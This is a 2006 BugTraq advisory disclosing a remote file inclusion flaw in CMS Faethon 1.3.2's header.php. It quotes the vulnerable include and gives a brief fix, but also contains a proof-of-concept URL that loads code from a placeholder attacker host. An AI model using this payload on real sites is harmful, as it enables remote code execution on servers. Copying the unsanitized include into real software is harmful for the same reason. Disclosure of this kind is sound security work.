BugTraq
[ECHO_ADV_33$2006] CMS Faethon 1.3.2 mainpath Remote File Inclusion Jun 17 2006 01:35AM
eufrato gmail com
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.OR.ID

ECHO_ADV_33$2006

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[ECHO_ADV_33$2006] CMS Faethon 1.3.2 mainpath Remote File Inclusion

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Author : M.Hasran Addahroni a.k.a K-159

Date : June, 16th 2006

Location : Indonesia, Bali

Web : http://advisories.echo.or.id/adv/adv33-K-159-2006.txt

Critical Lvl : Highly critical

Impact : System access

Where : From Remote

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Affected software description:

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

CMS Faethon

Application : CMS Faethon

version : 1.3.2

URL : http://cmsfaethon.com/

Description :

CMS Faethon is content management system for different web pages.

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Vulnerability:

~~~~~~~~~~~~~~~~

in folder data we found vulnerability script header.php.

-----------------------header.php----------------------

....

<?php

include($mainpath . 'survey.php');

?>

<h2>RSS - cmsfaethon.com</h2>

<div class="rss-menu">

<?php

$source = 'http://cmsfaethon.com/feed/articles/rss2.php?LangSet=cs';

include($mainpath . 'rss-reader.php');

?>

...

----------------------------------------------------------

Variables $mainpath are not properly sanitized.When register_globals=on and allow_fopenurl=on an attacker can exploit this vulnerability with a simple php injection script.

Proof Of Concept:

~~~~~~~~~~~~~~~~~

http://target.com/[cms_faethon_path]/data/header.php?mainpath=http://att
acker.com/evil.txt?

Solution:

~~~~~~~~~

sanitize variabel $mainpath in header.php

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Shoutz:

~~~~~~~

~ ping - my dearest wife, for all the luv the tears n the breath

~ y3dips,the_day,moby,comex,z3r0byt3,c-a-s-e,S`to,lirva32,anonymous,kaiten

~ masterpop3,maSter-oP,Lieur-Euy,Mr_ny3m,bithedz,murp,an0maly,fleanux,bayl
aw

~ sinChan,x`shell,tety,sakitjiwa, m_beben, rizal, cR4SH3R, metalsploit

~ newbie_hacker (at) yahoogroups (dot) com [email concealed]

~ #aikmel #e-c-h-o @irc.dal.net

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Contact:

~~~~~~~~

K-159 || echo|staff || eufrato[at]gmail[dot]com

Homepage: http://k-159.echo.or.id/

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